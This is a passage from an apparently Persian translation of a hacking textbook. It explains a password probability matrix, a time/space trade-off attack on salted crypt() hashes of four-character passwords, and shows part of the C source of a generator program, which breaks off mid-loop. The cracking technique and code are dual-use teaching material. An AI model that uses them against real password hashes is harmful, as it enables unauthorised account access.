‫ﺣﻤﻠﻪ ای ﻣﻨﺼﺮف و دﻟﺴﺮد ﻣﯽ ﮐﻨﺪ‪.‬‬

‫‪ .4,6,4‬ﻣﺎﺗﺮﯾﺲ اﺣﺘﻤﺎل ﭘﺴﻮرد‬

‫ﯾﮏ راﺑﻄﻪ ﺗﺮاﺿﯽ ﺑﯿﻦ ﻗﺪرت ﻣﺤﺴﺎﺑﺎﺗﯽ و ﻓﻀﺎی ذﺧﯿﺮه ﺳﺎزی وﺟﻮد دارد‪ .‬اﯾﻦ ﻣﻮرد در اﺑﺘﺪاﯾﯽ ﺗﺮﯾﻦ ﮔﻮﻧﻪ ﻫﺎی ﻋﻠﻮم‬
‫ﮐﺎﻣﭙﯿﻮﺗﺮ و زﻧﺪﮔﯽ روزاﻧﻪ دﯾﺪه ﻣﯽ ﺷﻮد‪ .‬ﻓﺎﯾﻞ ﻫﺎی ‪ MP3‬ﺑﺮای ذﺧﯿﺮه ﯾﮏ ﻓﺎﯾﻞ ﺻﻮﺗﯽ ﺑﺎ ﮐﯿﻔﯿﺖ ﺑﺎﻻ‪ 112‬در ﯾﮏ ﻓﻀﺎی‬
‫ﺗﻘﺮﯾﺒﺎ ﮐﻮﭼﮏ از ﻓﺸﺮده ﺳﺎزی اﺳﺘﻔﺎده ﻣﯽ ﮐﻨﻨﺪ‪ ،‬اﻣﺎ ﺗﻘﺎﺿﺎی ﻣﻨﺎﺑﻊ ﻣﺤﺎﺳﺒﺎﺗﯽ اﻓﺰاﯾﺶ ﻣـﯽ ﯾﺎﺑـﺪ‪ .‬ﻣﺎﺷـﯿﻦ ﺣـﺴﺎب ﻫـﺎی‬
‫ﺟﯿﺒﯽ از اﯾﻦ ﺗﺮاﺿﯽ در ﺟﻬﺖ دﯾﮕﺮی اﺳﺘﻔﺎده ﻣﯽ ﮐﻨﻨﺪ ﮐﻪ ﺑﺎ ﻧﮕﻬﺪاری ﯾﮏ ﺟﺪول ﻣﺮاﺟﻌﻪ ﺑﺮای ﺗﻮاﺑﻌﯽ ﻣﺎﻧﻨﺪ ﺳـﯿﻨﻮس‬
‫و ﮐﺴﯿﻨﻮس ﻫﻤﺮاه اﺳﺖ ﮐﻪ ﺑﻪ اﯾﻦ ﺻﻮرت ﻣﺎﺷﯿﻦ ﺣﺴﺎب را از اﻧﺠﺎم ﻣﺤﺴﺎﺑﺎت ﺳﻨﮕﯿﻦ ﺑﺪور ﻣﯽ دارد‪.‬‬
‫ﻫﻤﭽﻨﯿﻦ اﯾﻦ ﺗﺮاﺿﯽ را ﻣﯽ ﺗﻮان در رﻣﺰﻧﮕﺎری در راﺑﻄﻪ ﺑﺎ ﺣﻤﻼت ﺗﺮاﺿﯽ زﻣﺎن‪/‬ﻓﻀﺎ‪ 113‬اﻋﻤـﺎل ﮐـﺮد‪ .‬روﺷـﻬﺎی ﻫﻠﻤـﻦ‬
‫)‪ (Hellman‬ﺑﺮای اﯾﻦ ﻧﻮع ﺣﻤﻠﻪ ﻣﻮﺛﺮ ﻫﺴﺘﻨﺪ‪ ،‬ﺑﻪ اﯾﻦ ﺻﻮرت ﮐﺪ ﻣﻨﺒﻊ زﯾﺮ را ﻣـﯽ ﺗـﻮان ﺑﺮاﺣﺘـﯽ درک ﮐـﺮد‪ .‬ﻣـﻀﻤﻮن‬
‫اوﻟﯿﻪ ﻫﻤﯿﺸﻪ ﯾﮑﺴﺎن اﺳﺖ‪ ،‬ﯾﻌﻨﯽ ﺳﻌﯽ ﺑﺮ ﯾﺎﻓﺘﻦ ﻧﻘﻄﻪ ﻣﻨﺎﺳﺐ ﺑﯿﻦ ﻗﺪرت ﻣﺤﺎﺳﺒﺎﺗﯽ و ﻓﻀﺎی ذﺧﯿﺮه ای‪ ،‬ﺑﻄﻮرﯾﮑﻪ ﺑﺘـﻮان‬
‫ﯾﮏ ﺣﻤﻠﻪ ﺟﺎﻣﻊ ‪ brute-force‬را در ﻣﺪت زﻣﺎن ﮐﻮﺗﺎﻫﯽ ﺑﺎ ﻣﻘﺪار ﻣﻌﻘﻮﻟﯽ از ﻓﻀﺎی ذﺧﯿﺮه ای ﺑﻪ اﺗﻤﺎم رﺳﺎﻧﺪ‪ .‬ﻣﺘﺎﺳـﻔﺎﻧﻪ‬
‫ﺑﻪ دﻟﯿﻞ ﻧﯿﺎز اﯾﻦ روش ﺑﻪ ﻧﻮﻋﯽ ﻋﻤﻞ ذﺧﯿﺮه ﺳﺎزی‪ ،‬ﻣﻌﻤﺎی ﻏﯿﺮﻗﺎﺑﻞ ﺣﻞ ‪ ،salt‬ﻫﻨﻮز ﻫﻢ رخ ﻣﯽ ﻧﻤﺎﯾﺎﻧﺪ‪ .‬ﺑﺎ اﯾﻦ ﺣﺎل ﺗﻨﻬـﺎ‬
‫‪ 4,096‬ﻣﻘﺪار ‪ salt‬ﻣﻤﮑﻦ در ﻫﺶ ﻫﺎی ﭘﺴﻮرد ﺑﻪ ﺳﺒﮏ )(‪ crypt‬وﺟﻮد دارد‪ ،‬ﻟﺬا ﺗﺎﺛﯿﺮ اﯾﻦ ﻣﺸﮑﻞ را ﻣﯽ ﺗـﻮان ﺑـﺎ ﮐـﻢ‬
‫ﮐﺮدن ﻓﻀﺎی ذﺧﯿﺮه ای ﻣﻮرد ﻧﯿﺎز ﮐﺎﻫﺶ داد ﺑﻄﻮرﯾﮑﻪ ﺑﺎ وﺟﻮد ﻣﻀﺮب ‪ 4,096‬ﻫﻨﻮز ﻫﻢ ﻣﻌﻘﻮل ﺑﺎﻗﯽ ﺑﻤﺎﻧﺪ‪.‬‬
‫اﯾﻦ روش از ﺷﮑﻠﯽ از ﻓﺸﺮده ﺳﺎزی اﺗﻼﻓﯽ‪ 114‬اﺳﺘﻔﺎده ﻣﯽ ﮐﻨﺪ‪ .‬در ﻫﻨﮕﺎم وارد ﺷﺪن ﻫـﺶ ﭘـﺴﻮرد‪ ،‬ﺑﺠـﺎی اﺳـﺘﻔﺎده از‬
‫ﯾﮏ ﺟﺪول ﻣﺮاﺟﻌﻪ ﻫﺶ ﮐﺎﻣﻞ‪ ،‬ﭼﻨﺪﯾﻦ ﻫﺰار ﻣﻘﺪار ﻣﻤﮑﻦ ﺑﺮای ﻣﺘﻦ واﺿﺢ ﺑﺮﮔﺸﺖ داده ﻣﯽ ﺷﻮﻧﺪ‪ .‬اﯾﻦ ﻣﻘـﺎدﯾﺮ را ﻣـﯽ‬
‫ﺗﻮان ﺑﻪ ﺳﺮﻋﺖ ﭼﮏ ﮐﺮد ﺗﺎ ﺑﻪ ﭘﺴﻮرد ﻣﺘﻦ واﺿﺢ اﺻﻠﯽ ﻧﺰدﯾﮏ ﺷﺪ و اﺳﺘﻔﺎده از ﻓﺸﺮده ﺳـﺎزی اﺗﻼﻓـﯽ ﺳـﺒﺐ ﮐـﺎﻫﺶ‬
‫ﻓﻀﺎی ﻣﺤﺴﻮﺳﯽ ﺧﻮاﻫﺪ ﺷﺪ‪ .‬در ﮐﺪ ﻣﺜﺎل زﯾﺮ ﻓﻀﺎی ﮐﻠﯿﺪ ﺑﺮای ﺗﻤﺎم ﭘـﺴﻮردﻫﺎی ‪ 4‬ﮐـﺎراﮐﺘﺮی ﻣﻤﮑـﻦ )ﺑـﺎ ﻣﻘـﺪار ‪salt‬‬
‫ﺛﺎﺑﺖ( اﺳﺘﻔﺎده ﻣﯽ ﺷﻮد‪ .‬ﻓﻀﺎی ذﺧﯿﺮه ﺳﺎزی ﻣﻮرد ﻧﯿﺎز‪ ،‬در ﻣﻘﺎﯾﺴﻪ ﺑﺎ ﯾﮏ ﺟﺪول ﻣﺮاﺟﻌﻪ ﻫﺶ )ﺑﺎ ﻣﻘﺪار ‪ salt‬ﺛﺎﺑﺖ( ﺑـﻪ‬
‫ﻣﯿﺰﺑﺎن ‪ %88‬ﮐﺎﻫﺶ ﻣﯽ ﯾﺎﺑﺪ و ﻓﻀﺎی ﮐﻠﯿﺪ ﮐﻪ ﻫﺪف ‪ brute-force‬ﺷﺪن ﻗﺮار ﻣﯽ ﮔﯿﺮد ﺣﺪودا ﺑﻪ ﻣﯿـﺰان ‪ 1018‬ﺑﺮاﺑـﺮ‬
‫ﮐﺎﻫﺶ ﻣﯽ ﯾﺎﺑﺪ‪ .‬ﺑﺎ ﻓﺮض اﻣﺘﺤﺎن ‪ 10,000‬ﭘﺴﻮرد در واﺣﺪ زﻣﺎن‪ ،‬اﯾﻦ روش را ﻣﯽ ﺗﻮان ﺑﺮای ﮐﺮک ﮐﺮدن ﻫﺮ ﭘـﺴﻮرد‬
‫ﮐﺎراﮐﺘﺮی )ﺑﺎ ﻣﻘﺪار ‪ salt‬ﺛﺎﺑﺖ( در ﮐﻤﺘﺮ از ‪ 8‬ﺛﺎﻧﯿﻪ ﺑﮑﺎر ﺑﺮد ﮐﻪ در ﻣﻘﺎﯾﺴﻪ ﺑﺎ زﻣﺎن دو ﺳﺎﻋﺘﻪ ی ﻣﻮرد ﻧﯿـﺎز ﺑـﺮای ﺣﻤﻠـﻪ‬
‫ﺟﺎﻣﻊ ‪ brute-force‬روی ﻫﻤﺎن ﻓﻀﺎی ﮐﻠﯿﺪ ﯾﮏ اﻓﺰاﯾﺶ ﺳﺮﻋﺖ ﻗﺎﺑﻞ ﻣﻼﺣﻈﻪ ﻣﺤﺴﻮب ﻣﯽ ﺷﻮد‪.‬‬
‫اﯾﻦ روش ﯾﮏ ﻣﺎﺗﺮﯾﺲ ﺳﻪ ﺑﻌﺪی دودوﯾﯽ را ﻣﯽ ﺳﺎزد ﮐﻪ اﺟﺰای ﻣﻘﺎدﯾﺮ ﻫﺶ را ﺑﺎ اﺟﺰای ﻣﻘﺎدﯾﺮ ﻣـﺘﻦ واﺿـﺢ ﻣﺘﻨـﺎﻇﺮ‬
‫ﻣﯽ ﺳﺎزد‪ .‬روی ﻣﺤﻮر ‪ ،X‬ﻣﺘﻦ واﺿﺢ ﺑﻪ دو زوج ﺗﻘﺴﯿﻢ ﻣﯽ ﺷﻮد‪ :‬دو ﮐﺎراﮐﺘﺮ ﻧﺨﺴﺖ و دو ﮐﺎراﮐﺘﺮ دوم‪ .‬ﻣﻘـﺎدﯾﺮ ﻣﻤﮑـﻦ‬
‫درون ﯾﮏ ﺑﺮدار دودوﯾﯽ ﺷﻤﺎرش ﻣﯽ ﺷﻮﻧﺪ ﮐﻪ ﻃﻮﻟﯽ ﺑﺮاﺑـﺮ ﺑـﺎ ‪ 952‬ﯾـﺎ ‪ 9025‬ﺑﯿـﺖ )ﺣـﺪودا ‪ 1129‬ﺑﺎﯾـﺖ( دارد‪ .‬روی‬

‫‪112‬‬
‫‪High Quality‬‬
‫‪113‬‬
‫‪Time/Space Trade-Off Attacks‬‬
‫‪ – Lossy Compression 114‬در اﯾﻦ ﺣﺎﻟﺖ ﻣﻘﺪاری از اﻃﻼﻋﺎت از دﺳﺖ ﻣﯽ رود‪ ،‬در ﻧﺘﯿﺠﻪ ﮐﯿﻔﯿﺖ اﯾﻦ روش ﭘﺎﺋﯿﻦ وﻟﯽ ﺑﺴﯿﺎر ﮐﺎرا و ﺳﺮﯾﻊ اﺳﺖ‪.‬‬
‫‪171‬‬
‫ﻣﺤﻄﻮر ‪ ،Y‬ﻣﺘﻦ رﻣﺰی ﺑﻪ ﭼﻬﺎر ﻗﻄﻌﻪ ﺳﻪ‪-‬ﮐﺎراﮐﺘﺮی ﺗﻘﺴﯿﻢ ﻣﯽ ﺷﻮد‪ .‬ﻣﻘﺎدﯾﺮ آﻧﻬﺎ ﻧﯿﺰ ﺑﻪ ﻃﺮﯾﻖ ﯾـﺎد ﺷـﺪه در ﺳـﺘﻮن ﻫـﺎ‬
‫ﺷﻤﺎرش ﻣﯽ ﺷﻮﻧﺪ‪ ،‬اﻣﺎ ﻓﻘﻂ ﭼﻬﺎر ﺑﯿﺖ از ﮐﺎراﮐﺘﺮ ﺳﻮم ﻋﻤﻼ اﺳـﺘﻔﺎده ﻣـﯽ ﺷـﻮد‪ ،‬ﻧﺘﯿﺠـﻪ آن ‪ 642 · 4‬ﯾـﺎ ‪ 16,384‬ﺗﻌـﺪاد‬
‫ﺳﺘﻮن ﺧﻮاﻫﺪ ﺑﻮد‪ .‬ﻣﺤﻮر ‪ Z‬ﺑﺮای ﻧﮕﻬﺪاری ﻫﺸﺖ ﻣﺎﺗﺮﯾﺲ دو ﺑﻌﺪی ﻣﺨﺘﻠﻒ اﺳﺘﻔﺎده ﻣﯽ ﺷﻮد‪ ،‬ﻟﺬا ﺑﺮای ﻫﺮ زوج از ﻣﺘﻦ‬
‫واﺿﺢ ﺗﻌﺪاد ﭼﻬﺎر ﻣﺎﺗﺮﯾﺲ وﺟﻮد دارد‪.‬‬
‫ﻧﻈﺮﯾﻪ اﺳﺎﺳﯽ ﺗﮑﻪ ﮐﺮدن ﻣﺘﻦ واﺿﺢ ﺑﻪ دو ﻣﻘﺪار زوج ﻣﺮﺗﺐ اﺳﺖ ﮐﻪ در ﻃﻮل ﯾﮏ ﺑﺮدار ﺷﻤﺎرش ﻣﯽ ﺷـﻮﻧﺪ‪ .‬ﻫـﺮ ﻣـﺘﻦ‬
‫واﺿﺢ ﻣﻤﮑﻦ در ﻗﺎﻟﺐ ﻣﺘﻦ رﻣﺰی ﻫﺶ ﻣﯽ ﺷﻮد و ﻣﺘﻦ رﻣـﺰی ﺟﻬـﺖ ﯾـﺎﻓﺘﻦ ﺳـﺘﻮن ﻣﻨﺎﺳـﺐ در ﻣـﺎﺗﺮﯾﺲ اﺳـﺘﻔﺎده ﻣـﯽ‬
‫ﮔﺮدد‪ .‬ﺳﭙﺲ ﺑﯿﺖ ﺷﻤﺎرش ﻣﺘﻦ واﺿﺢ در ﺳﻄﺮ ﻣﺎﺗﺮﯾﺲ ﻓﻌﺎل ﻣﯽ ﺷـﻮد‪ .‬ﻫﻨﮕـﺎم ﺗﻨـﺰل ﯾـﺎﻓﺘﻦ ﻣﻘـﺎدﯾﺮ ﻣـﺘﻦ رﻣـﺰی ﺑـﻪ‬
‫ﻗﻄﻌﺎت ﮐﻮﭼﮑﺘﺮ‪ ،‬وﺟﻮد ﺗﺼﺎدم ﻫﺎ )‪ (collisions‬ﻏﯿﺮ ﻗﺎﺑﻞ اﺟﺘﻨﺎب اﺳﺖ‪.‬‬
‫ﻫﺶ )‪(hash‬‬ ‫ﻣﺘﻦ واﺿﺢ )‪(plaintext‬‬
‫‪jeHEAX1m66RV.‬‬ ‫‪test‬‬
‫‪jeHEA38vqlkkQ‬‬ ‫‪!J)h‬‬
‫‪jeHEA1Tbde5FE‬‬ ‫‪".F+‬‬
‫‪jeHEAnX8kQK3I‬‬ ‫‪"8,J‬‬
‫در اﯾﻦ ﻣﻮرد‪ ،‬ﺑﺎ اﺿﺎﻓﻪ ﺷﺪن زوج ﻫﺎی ﻫﺶ‪/‬ﻣﺘﻦ واﺿﺢ ﺑﻪ ﻣﺎﺗﺮﯾﺲ‪ ،‬روﺷﻦ اﺳﺖ ﮐـﻪ ﺳـﺘﻮن ‪ HEA‬ﺣـﺎوی ﺑﯿـﺖ ﻫـﺎﯾﯽ‬
‫اﺳﺖ ﮐﻪ ﺑﺎ زوج ﻫﺎی ﻣﺘﻦ واﺿﺢِ ِ ‪ te, !J, ".‬و ‪ "8‬ﻣﺘﻨﺎﻇﺮ ﻫﺴﺘﻨﺪ‪.‬‬
‫ﺑﻌﺪ از ﭘﺮ ﺷﺪن ﮐﺎﻣﻞ ﻣﺎﺗﺮﯾﺲ‪ ،‬اﮔﺮ ﯾﮏ ﻫﺶ ﻣﺜﻞ ‪ jeHEA38vqlkkQ‬وارد ﺷﻮد‪ ،‬آﻧﮕﺎه ﺑﻪ ﺳﺘﻮن ‪ HEA‬ﻣﺮاﺟﻌﻪ ﺷﺪه‬
‫و ﻣﺎﺗﺮﯾﺲ دو ﺑﻌﺪی‪ ،‬ﻣﻘﺎدﯾﺮ " ‪ te, !J,‬و ‪ "8‬را ﺑﺮای دوﮐﺎراﮐﺘﺮ ﻧﺨﺴﺖِ ﻣﺘﻦ واﺿﺢ ﺑﺮﻣﯽ ﮔﺮداﻧﺪ‪ .‬ﭼﻬﺎر ﻣﺎﺗﺮﯾﺲ ﻣـﺸﺎﺑﻪ‬
‫ﺑﺮای دو ﮐﺎراﮐﺘﺮ ﻧﺨﺴﺖ وﺟﻮد دارﻧﺪ ﮐﻪ ﻫﺮ ﮐﺪام از ﺗﻔﺎﺿﻞ زﯾﺮ‪-‬رﺷﺘﻪ ﻣﺘﻦ رﻣﺰی و ﮐﺎراﮐﺘﺮﻫﺎی ‪ 2‬اﻟﯽ ‪ 4 ،4‬اﻟـﯽ ‪6 ،6‬‬
‫اﻟﯽ ‪ 8‬و ‪ 8‬اﻟﯽ ‪ 10‬اﺳﺘﻔﺎده ﻣﯽ ﮐﻨﺪ ﺑﻪ اﯾﻦ ﺻﻮرت ﻫﺮ ﻣﺎﺗﺮﯾﺲ ﺑـﺎ ﺑـﺮداری ﻣﺘﻔـﺎوﺗﯽ از ﻣﻘـﺎدﯾﺮ ﻣﻤﮑـﻦ ﺑـﺮای ﻣﻘـﺪار دو‬
‫ﮐﺎراﮐﺘﺮ ﻧﺨﺴﺖ از ﻣﺘﻦ واﺿﺢ وﺟﻮد ﺧﻮاﻫﺪ داﺷﺖ‪ .‬ﻫﺮ ﺑﺮدار ﺷﮑﺴﺘﻪ ﻣﯽ ﺷﻮد و ﺑﺎ ﻋﻤﻠﮕـﺮ ﻣﻨﻄﻘـﯽ ‪ AND‬ﺗﺮﮐﯿـﺐ ﻣـﯽ‬
‫ﺷﻮد‪ .‬در اﯾﻦ ﺻﻮرت ﺗﻨﻬﺎ ﺑﯿﺖ ﻫﺎﯾﯽ ﺑﺎ ﻣﻘﺎدﯾﺮ ‪ 1‬ﺑﺎﻗﯽ ﻣﯽ ﻣﺎﻧﻨﺪ ﮐﻪ در زوج ﻫﺎی ﻣﺘﻦ واﺿﺢ ﺑﻪ ﻋﻨﻮان اﺣﺘﻤـﺎل ﺑـﺮای ﻫـﺮ‬
‫زﯾﺮ رﺷﺘﻪ از ﻣﺘﻦ رﻣﺰی ﻟﯿﺴﺖ ﺷﺪه اﻧﺪ‪ .‬ﭼﻬﺎر ﻣﺎﺗﺮﯾﺲ دﯾﮕﺮ ﻧﯿﺰ ﺑﻪ ﻫﻤﯿﻦ ﻣﻨﻮال ﺑﺮای دو ﮐﺎراﮐﺘﺮ دوم ﻣﺘﻦ واﺿـﺢ ﻧﯿـﺰ‬
‫وﺟﻮد دارد‪.‬‬
‫اﻧﺪازه ﻣﺎﺗﺮﯾﺲ ﻫﺎ ﺗﻮﺳﻂ اﺻﻞ ﻻﻧﻪ ﮐﺒﻮﺗﺮی ﺗﻌﯿﯿﻦ ﮔﺸﺖ‪ .‬ﻗﺎﻧﻮن ﺳﺎده ای ﮐﻪ ﺑﯿﺎن ﻣﯽ ﮐﻨﺪ ﮐﻪ اﮔﺮ ‪ k+1‬ﺷﯽ در ‪ k‬ﺟﻌﺒـﻪ‬
‫ﻗﺮار ﮔﯿﺮﻧﺪ‪ ،‬ﺣﺪاﻗﻞ ﯾﮑﯽ از ﺟﻌﺒﻪ ﻫﺎ ﺣﺎوی دو ﺷﯽ ﺧﻮاﻫﺪ ﺑﻮد‪ .‬ﺑﻨﺎﺑﺮاﯾﻦ‪ ،‬ﺑﺮای ﻧﯿﻞ ﺑﻪ ﺑﻬﺘﺮﯾﻦ ﻧﺘﯿﺠﻪ ﻫـﺪف اﯾـﻦ ﺧﻮاﻫـﺪ‬
‫ﺑﻮد ﮐﻪ ﻫﺮ ﺑﺮدار‪ ،‬ﯾﮏ ﺑﯿﺖ ﮐﻤﺘﺮ از ﻧﺼﻒ ﺗﻤﺎم ﯾﮏ ﻫﺎ داﺷﺘﻪ ﺑﺎﺷﺪ‪ .‬ﭼﻮن ﺗﻌﺪاد اﻗﻼم ﻣﻮﺟـﻮد در ﻣـﺎﺗﺮﯾﺲ ﻫـﺎ ‪ 954‬ﯾـﺎ‬
‫‪ 81,450,652‬ﺧﻮاﻫﺪ ﺑﻮد‪ ،‬ﻟﺬا ﺑﺎﯾﺪ ﺗﻌﺪاد دراﯾﻪ ﻫﺎی ﺧﺎﻟﯽ دو ﺑﺮاﺑﺮ ﺷﻮد ﺗﺎ ﺑﻪ اﺷﺒﺎع ﺷﺪن ‪ 50‬درﺻﺪی ﺑﺮﺳـﯿﻢ‪ .‬ﭼـﻮن‬

‫ﺳﺘﻮن ﻻزم اﺳﺖ ﮐﻪ ﺑﺮاﺑﺮ ﺑﺎ ‪ 18‬ﻫﺰار اﺳﺖ‪ .‬ﭼﻮن زﯾﺮرﺷﺘﻪ ﻫـﺎی‬ ‫ﺗﻌﺪاد اﻗﻼم ﻫﺮ ﺑﺮدار ‪ 9,025‬اﺳﺖ‪ ،‬ﭘﺲ ﺗﻌﺪاد‬
‫ﻣﺘﻦ رﻣﺰیِ ﺳﻪ ﮐﺎراﮐﺘﺮی ﺑﺮای ﺳﺘﻮن ﻫﺎ اﺳﺘﻔﺎده ﻣﯽ ﺷﻮﻧﺪ‪ ،‬ﻟﺬا دو ﮐﺎراﮐﺘﺮ ﻧﺨﺴﺖ و ‪ 4‬ﺑﯿﺖ از ﺳﻮﻣﯿﻦ ﮐـﺎراﮐﺘﺮ را ﻣـﯽ‬
‫ﺗﻮان ﺑﺮای اراﺋﻪ ‪ 642 · 4‬ﯾﺎ ﺣﺪودا ‪ 16‬ﻫﺰار ﺳﺘﻮن ﺑﮑﺎر ﺑﺮد )ﺗﻨﻬﺎ ‪ 64‬ﻣﻘﺪار ﻣﻤﮑﻦ ﺑﺮای ﻫﺮ ﮐـﺎراﮐﺘﺮ در ﻫـﺶ ﻣﺮﺑـﻮط‬
‫ﺑﻪ ﻣﺘﻦ رﻣﺰی وﺟﻮد دارد(‪ .‬اﯾﻦ وﺿﻌﯿﺖ ﺑﻪ ﻗﺪر ﮐﺎﻓﯽ ﻧﺰدﯾﮏ ﺑﻪ ﺷﺮاﯾﻂ ﻣﺎ اﺳﺖ‪ ،‬ﭼﻮن ﻫﺮ ﯾﮏ ﺑﯿﺖ دو ﺑﺎر اﺿﺎﺿﻪ ﺷﻮد‪،‬‬
‫از ﻫﻤﭙﻮﺷﺎﻧﯽ )‪ (overlap‬ﺑﻮﺟﻮد آﻣﺪه ﺻﺮف ﻧﻈﺮ ﻣﯽ ﺷﻮد‪ .‬در ﻋﻤﻞ ﻫـﺮ ﺑـﺮدار ﺣـﺪود ‪ %42‬ﺑـﺎ ﻣﻘـﺎدﯾﺮ ‪ 1‬اﺷـﺒﺎع ﺷـﺪه‬
‫اﺳﺖ‪.‬‬
‫ﭼﻮن ﭼﻬﺎر ﺑﺮدار ﺑﺮای ﯾﮏ ﻣﺘﻦ رﻣﺰی واﺣﺪ اﺳﺘﻔﺎده ﻣﯽ ﺷﻮﻧﺪ‪ ،‬اﺣﺘﻤﺎل وﺟﻮد ﻣﻘﺪار ﯾﮏ در ﻫﺮ ﺑـﺮدار در ﻫـﺮ ﺟﺎﯾﮕـﺎه‬
‫ﺷﻤﺎرﺷﯽ ﺑﺮاﺑﺮ ‪ 0.424‬ﯾﺎ ﺣﺪودا ‪ 3,11‬درﺻﺪ ﻣﯽ ﺑﺎﺷﺪ‪ .‬ﯾﻌﻨﯽ ﺑﻪ ﻃﻮر ﻣﺘﻮﺳﻂ ‪ 9,025‬ﺟﺎﯾﮕﺎه اﺣﺘﻤـﺎﻟﯽ ﻣﻮﺟـﻮد ﺑـﺮای دو‬
‫ﮐﺎراﮐﺘﺮ ﻧﺨﺴﺖ از ﻣﺘﻦ رﻣﺰی ﺣﺪود ‪ %97‬ﮐﺎﺳﺘﻪ ﺷﺪه و ﺑﻪ ‪ 280‬ﺟﺎﯾﮕـﺎه اﺣﺘﻤـﺎﻟﯽ رﺳـﯿﺪه اﺳـﺖ‪ .‬اﯾـﻦ روﻧـﺪ ﺑـﺮای دو‬

‫‪172‬‬
‫ ﺑـﺎ ﻓـﺮض‬.‫ ﻣﻘﺪار ﻣﻤﮑﻦ ﺑﺮای ﻣﺘﻦ رﻣﺰی اراﺋـﻪ ﻣـﯽ دﻫـﺪ‬78,400 ‫ ﯾﺎ‬2802 ‫ﮐﺎراﮐﺘﺮ آﺧﺮ ﻧﯿﺰ ﺗﮑﺮار ﻣﯽ ﺷﻮد ﮐﻪ ﺣﺪود‬
.‫ ﺛﺎﻧﯿﻪ ﭼﮏ ﮐﺮد‬8 ‫ ﻓﻀﺎی ﮐﻠﯿﺪ ﮐﻮﭼﮏ ﺷﺪه ی ﺣﺎﺿﺮ را ﻣﯽ ﺗﻮان در ﮐﻤﺘﺮ از‬،‫ ﻣﻮرد در ﺛﺎﻧﯿﻪ‬10,000 ‫اﻣﺘﺤﺎن‬
brute- ‫ اﯾﻦ ﺣﻤﻠﻪ ﺑﻪ اﻧﺪازه زﻣﺎن ﺻﺮف ﺷﺪه در اﯾﺠﺎد ﻣﺎﺗﺮﯾﺲ ﺑﺮای ﺣﻤﻠﻪ اﺻـﻠﯽ‬،‫ اوﻻ‬.‫اﻟﺒﺘﻪ ﻧﻘﺺ ﻫﺎﯾﯽ ﻧﯿﺰ وﺟﻮد دارد‬
‫ اﻟﺒﺘﻪ اﯾﻦ زﻣﺎن ﻓﻘﻂ ﯾﮑﺒﺎر ﺻﺮف ﻣﯽ ﺷﻮد ﭼـﺮا ﮐـﻪ در دﻓﻌـﺎت ﺑﻌـﺪ ﻧﯿـﺎز ﻧﯿـﺴﺖ )ﻣـﺎﺗﺮﯾﺲ در‬.‫ زﻣﺎن ﻣﯽ ﻃﻠﺒﺪ‬foruce
‫ اﻣﮑﺎن اﺟﺮای ﻫﺮ ﮔﻮﻧﻪ ﺣﻤﻠﻪ ﻣﺒﻨﯽ ﺑـﺮ‬salt ‫ ﻣﻘﺎدﯾﺮ‬،‫ ﺣﺘﯽ ﺑﺎ اﯾﻦ ﻓﻀﺎی ذﺧﯿﺮه ای ﮐﺎﻫﺶ ﯾﺎﻓﺘﻪ ﻧﯿﺰ‬،‫ ﺛﺎﻧﯿﺎ‬.(‫دﺳﺘﺮس اﺳﺖ‬
.‫( را ﺳﻠﺐ ﻣﯽ ﮐﻨﺪ‬storage) ‫ﻣﻨﺎﺑﻊ ذﺧﯿﺮه ای‬
.‫از دو ﮐﺪ ﻣﻨﺒﻊ زﯾﺮ ﻣﯽ ﺗﻮان ﺑﺮای اﯾﺠﺎد ﻣﺎﺗﺮﯾﺲ اﺣﺘﻤﺎل ﭘﺴﻮرد و ﮐﺮک ﮐﺮدن ﭘﺴﻮرد ﺑﺎ اﺳﺘﻔﺎده از آﻧﻬﺎ اﺳﺘﻔﺎده ﮐـﺮد‬
‫ ﮐـﺎراﮐﺘﺮی ﻣﻤﮑـﻦ‬4 ‫ﮐﺪ ﻣﻨﺒﻊ اول ﻣﺎﺗﺮﯾﺴﯽ اﯾﺠﺎد ﺧﻮاﻫﺪ ﮐﺮد ﮐﻪ ﻣﯽ ﺗﻮان آﻧﺮا ﺑﺮای ﮐـﺮک ﮐـﺮدن ﺗﻤـﺎم ﭘـﺴﻮردﻫﺎی‬
‫ ﮐﺪ ﻣﻨﺒﻊ دوم از ﻣﺎﺗﺮﯾﺲ اﯾﺠﺎد ﺷﺪه )ﺗﻮﺳﻂ ﮐﺪ ﻣﻨﺒﻊ اول( ﺑﺮای ﮐﺮک ﮐـﺮدن‬.‫ اﺳﺖ‬je ‫ آﻧﻬﺎ‬salt‫اﺳﺘﻔﺎده ﮐﺮد ﮐﻪ ﻣﻘﺪار‬
.‫ﭘﺴﻮرد اﺳﺘﻔﺎده ﻣﯽ ﮐﻨﺪ‬
File: ppm_gen.c
/*****************************************************************\
* Password Probability Matrix * File: ppm_gen.c *
*******************************************************************
* *
* *
* Author: Jon Erickson <[email protected]> *
* Organization: Phiral Research Laboratories *
* *
* This is the generate program for the PPM proof of *
* concept. It generates a file called 4char.ppm, which *
* contains information regarding all possible 4 *
* character passwords salted with 'je'. This file can *
* used to quickly crack passwords found within this *
* keyspace with the corresponding ppm_crack.c program. *
\*****************************************************************/
#define _XOPEN_SOURCE
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

#define HEIGHT 16384


#define WIDTH 1129
#define DEPTH 8
#define SIZE HEIGHT * WIDTH * DEPTH
int singleval(char a)
{
int i, j;
i = (int)a;
if((i >= 46) && (i <= 57))
j = i - 46;
else if ((i >= 65) && (i <= 90))
j = i - 53;
else if ((i >= 97) && (i <= 122))
j = i - 59;
return j;
}

int tripleval(char a, char b, char c)


{
return (((singleval(c)%4)*4096)+(singleval(a)*64)+singleval(b));
}

main()
{
char *plain;
char *code;
char *data;
int i, j, k, l;
173
unsigned int charval, val;
FILE *handle;
if (!(handle = fopen("4char.ppm", "w")))
{
printf("Error: Couldn't open file '4char.ppm' for writing.\n");
exit(1);
}
data = (char *) malloc(SIZE+19);
if (!(data))
{
printf("Error: Couldn't allocate memory.\n");
exit(1);
}
plain = data+SIZE;
code = plain+5;

for(i=32; i<127; i++)


{
for(j=32; j<127; j++)
{
printf("Adding %c%c** to 4char.ppm..\n", i, j);
for(k=32; k<127; k++)
{
for(l=32; l<127; l++)
{

plain[0] = (char)i;
plain[1] = (char)j;
plain[2] = (char)k;
plain[3] = (char)l;
plain[4] = 0;
code = crypt(plain, "je");

val = tripleval(code[2], code[3], code[4]);


charval = (i-32)*95 + (j-32);
data[(val*WIDTH)+(charval/8)] |= (1<<(charval%8));
val += (HEIGHT * 4);
charval = (k-32)*95 + (l-32);
data[(val*WIDTH)+(charval/8)] |= (1<<(charval%8));

val = HEIGHT + tripleval(code[4], code[5], code[6]);


